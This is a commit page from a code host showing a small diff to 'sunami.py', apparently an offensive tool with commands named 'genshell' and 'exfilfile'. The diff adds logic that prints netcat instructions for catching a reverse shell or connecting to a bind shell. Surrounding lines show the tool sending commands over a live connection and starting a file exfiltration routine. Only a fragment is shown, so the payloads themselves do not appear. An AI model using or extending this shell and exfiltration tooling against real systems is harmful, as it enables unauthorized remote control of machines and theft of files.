Update sunami.py

main
witchdocsec 2023-08-06 16:31:32 +01:00 committed by GitHub
parent c89fef0f69
commit 2c0c1cd955
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 1 deletions

View File

@ -57,8 +57,10 @@ if args.command == "genshell":
conn.send(cmd.encode("utf-8"))
time.sleep(1)
sys.stdout.write("\033[A" + data.split("\n")[-1])
else:
elif args.shell == "rev":
print(f"on your machine run the following:\n\tnc -lnvp {args.port}")
else:
print(f"on your machine run the following:\n\tnc {args.ip} {args.port}")
if args.command == "exfilfile":
if args.method == "postflask":